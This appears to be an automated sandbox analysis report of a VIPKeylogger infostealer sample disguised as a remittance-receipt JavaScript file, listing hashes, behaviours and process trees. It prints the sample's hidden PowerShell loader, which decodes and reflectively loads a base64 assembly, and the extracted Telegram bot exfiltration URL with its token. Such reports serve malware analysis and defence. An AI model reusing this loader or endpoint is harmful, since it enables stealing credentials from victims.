Analysis
- max time kernel
299s - max time network
179s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
16/09/2026, 03:18
Static task
static1
Behavioral task
behavioral1
Sample
Remittance_receipt20260989465933.js
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
Remittance_receipt20260989465933.js
Resource
win11ltsc2024-20260911-en
General
- Target Remittance_receipt20260989465933.js
- Size 16.7MB
- Sample260916-dt1s5asygx
- SHA256 c047ef2525a8b3c72bfcc3a6806801c7af4efaaf917746247e8ea13f1b9618a7
- MD5 7a0f4117234a846fe82b3a3a70d996b5
- SHA1 11ffc8d15d9e644fde0b13a22c8a64c7d2e94e91
- SHA512 6a22f09d7fd2145450800145fdb3c6ef5fe63611a47be26283da3711c9f31687da405bbc1640a24cc1bdb7d3262685d06eda23665162c092a5279f600ff3f7af
- SSDEEP 3072:LbweD3lBm+rhjhyqbdoilwbSpjVIjeN0LVF5wWY4qCIyZwwmIkPiTMEMy+VRYz/C:x
- TLSH T1FA07610C5A6B09F801156F7F869F84B67B2AEA325BFEEF86510C8E4701E934F4645D23
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
vipkeylogger
-
https://api.telegram.org/bot8611110077:AAEuzP7iyFeFxGdmSGBE5A2ZtPdzGKr_Blo/sendMessage?chat_id=6524620450
Signatures
- Family: VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4756 1860 powershell.exe 87 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1236 1860 powershell.exe 87 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5472 1860 powershell.exe 87 - Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 4756 powershell.exe 3 1236 powershell.exe 4 5472 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 4756 powershell.exe 1236 powershell.exe 5472 powershell.exe - Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 ARP.exe Key opened \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 ARP.exe Key opened \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 ARP.exe Key opened \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 ARP.exe Key opened \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 ARP.exe Key opened \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 ARP.exe - Looks up external IP address via web service 1 TTPs 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 reallyfreegeoip.org 8 reallyfreegeoip.org 14 reallyfreegeoip.org 15 reallyfreegeoip.org 1 checkip.dyndns.org - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1236 set thread context of 3704 1236 powershell.exe 94 PID 5472 set thread context of 5924 5472 powershell.exe 95 - Command and Scripting Interpreter: JavaScript 1 TTPs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ARP.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ARP.exe - Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 4756 powershell.exe 1236 powershell.exe 4756 powershell.exe 5472 powershell.exe 1236 powershell.exe 5472 powershell.exe 5924 ARP.exe 3704 ARP.exe 3704 ARP.exe 5924 ARP.exe - Suspicious behavior: GetForegroundWindowSpam 2 IoCs
pid Process 3704 ARP.exe 5924 ARP.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 4756 powershell.exe Token: SeDebugPrivilege 1236 powershell.exe Token: SeDebugPrivilege 5472 powershell.exe Token: SeDebugPrivilege 5924 ARP.exe Token: SeDebugPrivilege 3704 ARP.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 3704 ARP.exe 5924 ARP.exe - Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 1236 wrote to memory of 3704 1236 powershell.exe 94 PID 1236 wrote to memory of 3704 1236 powershell.exe 94 PID 1236 wrote to memory of 3704 1236 powershell.exe 94 PID 1236 wrote to memory of 3704 1236 powershell.exe 94 PID 1236 wrote to memory of 3704 1236 powershell.exe 94 PID 1236 wrote to memory of 3704 1236 powershell.exe 94 PID 5472 wrote to memory of 5924 5472 powershell.exe 95 PID 5472 wrote to memory of 5924 5472 powershell.exe 95 PID 5472 wrote to memory of 5924 5472 powershell.exe 95 PID 5472 wrote to memory of 5924 5472 powershell.exe 95 PID 5472 wrote to memory of 5924 5472 powershell.exe 95 PID 5472 wrote to memory of 5924 5472 powershell.exe 95 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 ARP.exe - outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 ARP.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Remittance_receipt20260989465933.js1⤵PID:4772
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$taskers=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18;$asperly=[System.IO.MemoryStream][Convert]::FromBase64String($taskers);[System.Reflection.Assembly]::Load($asperly.ToArray())|Out-Null;[aaaaa.aaaaaaa]::aaaaaaaaaaa('q/sJNtkJSWMJpq2QI4EdoGuSpk23HL25Y4YBYLTLb+0GNbAByUyF1hu3CjuhAsXFDocjasc8u9DwnQ70tp+sKqqw9BfGP/eR1Wq5XwLQawlOj8fLKc8elvh/a9RcQazK','4rI7eU2HjyGEXycBr6ojKFkg2F0EwnIuvp6Nxova1MM=','3oxtFv384jeCP7+RgeK2M2iWgxfWxE12mpsvv6rIfL/6Z/pUQdlJKVKOSxOdmYW7','q84XR59xSyKfYTvVkGix1+2ijz79X4Wsy2Mc+6NiOs8=','fHK7zH8+FfGp2o2UHEkLjzcoIIb593wazGnsBb6J5GM=','GW8/um48JE2lwn/hE79wKhdA5SCGMyn6SA7YbMX5Ap4=','7JgCojJo18vQ4O7a3aUgdnbkT3/qEKawBUz76V2yjUI=','E6uykbBNByZh/NPTXyH4qlviFnXOfq/thFj2o7tAHS0=','DKMYIF/apVgeGDKDRRibu0FGn6crXMTrl9lvTZAOvvPme21Sc1cWbUJz5psAeNd0rtV8+GZ0/PIaXcYumAJDD2FWdVc1OB6CUnHQE0CYUUA=','S4DuU7VC0/ZkBXeBRpWg2cJaLbdOZdApRkWfRq39sPs8zFU5YJtUW/434axtrQNC','KI+ileenBWrxG6lljOPyZOTjH/rp380yEbeHgrPj16o=','sUzDr9GSFQWcZcj7igZLyDyk2HpdGnGSSFlm0DuGtmk=','4Ynvm35Eahv7aGAaGF/qpoXoUPDk8x/736jpTGI/fck=','8+9tLeFPtql/1gh3BPm/WFsZIeg1sRQUrEK4F3Guv50=','krgIAcYy8415f4AmR0dMqCHs8yak269AZJoaaaVw31E=','hSbz5ArgcSMTUBaXZAx/MKpgO9kNqKCs8efOqNS3QoU=','','','')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4756
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$taskers=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18;$asperly=[System.IO.MemoryStream][Convert]::FromBase64String($taskers);[System.Reflection.Assembly]::Load($asperly.ToArray())|Out-Null;[aaaaa.aaaaaaa]::aaaaaaaaaaa('q/sJNtkJSWMJpq2QI4EdoGuSpk23HL25Y4YBYLTLb+0GNbAByUyF1hu3CjuhAsXFDocjasc8u9DwnQ70tp+sKqqw9BfGP/eR1Wq5XwLQawlOj8fLKc8elvh/a9RcQazK','4rI7eU2HjyGEXycBr6ojKFkg2F0EwnIuvp6Nxova1MM=','3oxtFv384jeCP7+RgeK2M2iWgxfWxE12mpsvv6rIfL/6Z/pUQdlJKVKOSxOdmYW7','q84XR59xSyKfYTvVkGix1+2ijz79X4Wsy2Mc+6NiOs8=','fHK7zH8+FfGp2o2UHEkLjzcoIIb593wazGnsBb6J5GM=','GW8/um48JE2lwn/hE79wKhdA5SCGMyn6SA7YbMX5Ap4=','7JgCojJo18vQ4O7a3aUgdnbkT3/qEKawBUz76V2yjUI=','E6uykbBNByZh/NPTXyH4qlviFnXOfq/thFj2o7tAHS0=','DKMYIF/apVgeGDKDRRibu0FGn6crXMTrl9lvTZAOvvPme21Sc1cWbUJz5psAeNd0rtV8+GZ0/PIaXcYumAJDD2FWdVc1OB6CUnHQE0CYUUA=','S4DuU7VC0/ZkBXeBRpWg2cJaLbdOZdApRkWfRq39sPs8zFU5YJtUW/434axtrQNC','KI+ileenBWrxG6lljOPyZOTjH/rp380yEbeHgrPj16o=','sUzDr9GSFQWcZcj7igZLyDyk2HpdGnGSSFlm0DuGtmk=','4Ynvm35Eahv7aGAaGF/qpoXoUPDk8x/736jpTGI/fck=','8+9tLeFPtql/1gh3BPm/WFsZIeg1sRQUrEK4F3Guv50=','krgIAcYy8415f4AmR0dMqCHs8yak269AZJoaaaVw31E=','hSbz5ArgcSMTUBaXZAx/MKpgO9kNqKCs8efOqNS3QoU=','','','')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1236 -
C:\Windows\SysWOW64\ARP.exe"C:\Windows\SysWOW64\ARP.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3704
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$taskers=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18;$asperly=[System.IO.MemoryStream][Convert]::FromBase64String($taskers);[System.Reflection.Assembly]::Load($asperly.ToArray())|Out-Null;[aaaaa.aaaaaaa]::aaaaaaaaaaa('q/sJNtkJSWMJpq2QI4EdoGuSpk23HL25Y4YBYLTLb+0GNbAByUyF1hu3CjuhAsXFDocjasc8u9DwnQ70tp+sKqqw9BfGP/eR1Wq5XwLQawlOj8fLKc8elvh/a9RcQazK','4rI7eU2HjyGEXycBr6ojKFkg2F0EwnIuvp6Nxova1MM=','3oxtFv384jeCP7+RgeK2M2iWgxfWxE12mpsvv6rIfL/6Z/pUQdlJKVKOSxOdmYW7','q84XR59xSyKfYTvVkGix1+2ijz79X4Wsy2Mc+6NiOs8=','fHK7zH8+FfGp2o2UHEkLjzcoIIb593wazGnsBb6J5GM=','GW8/um48JE2lwn/hE79wKhdA5SCGMyn6SA7YbMX5Ap4=','7JgCojJo18vQ4O7a3aUgdnbkT3/qEKawBUz76V2yjUI=','E6uykbBNByZh/NPTXyH4qlviFnXOfq/thFj2o7tAHS0=','DKMYIF/apVgeGDKDRRibu0FGn6crXMTrl9lvTZAOvvPme21Sc1cWbUJz5psAeNd0rtV8+GZ0/PIaXcYumAJDD2FWdVc1OB6CUnHQE0CYUUA=','S4DuU7VC0/ZkBXeBRpWg2cJaLbdOZdApRkWfRq39sPs8zFU5YJtUW/434axtrQNC','KI+ileenBWrxG6lljOPyZOTjH/rp380yEbeHgrPj16o=','sUzDr9GSFQWcZcj7igZLyDyk2HpdGnGSSFlm0DuGtmk=','4Ynvm35Eahv7aGAaGF/qpoXoUPDk8x/736jpTGI/fck=','8+9tLeFPtql/1gh3BPm/WFsZIeg1sRQUrEK4F3Guv50=','krgIAcYy8415f4AmR0dMqCHs8yak269AZJoaaaVw31E=','hSbz5ArgcSMTUBaXZAx/MKpgO9kNqKCs8efOqNS3QoU=','','','')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5472 -
C:\Windows\SysWOW64\ARP.exe"C:\Windows\SysWOW64\ARP.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
PID:5924
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 64B
- SHA256 88e5ffe18fd4a772efce68f1b0db839846cafc42d36415508ad5356a44d38f32
- MD5 eb6332ae9e8fec69c2236355e2638f9d
- SHA1 71500d57fb304979afd6756f06d4b9a59f995eb7
- SHA512 e87c864ba79bd7a10a62b55ad564cf3acb090e7d85707a6967497deeef5fcde1f0b4608ea8791bf81363ec583a0101d470d8f3cd2172ced8d4071d7f6c674aed
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 64B
- SHA256 92671c154d4e886f999580604f675416003965914ab8435babc0b11290f6a6a4
- MD5 ccd060f9f366be151fe026216473d89d
- SHA1 a2376b4d7e68f0f9b95afe6cb3d0dac53d4d3e67
- SHA512 c32c5dc4f4034e964becf33399da8a09c393680520aa9163d4035bc8fa4a15453cf7c7ed1b309785266449f257b7ced4b8dca043917b2c5812b9a25c1da224cd
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1jjl0ef1.zyp.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH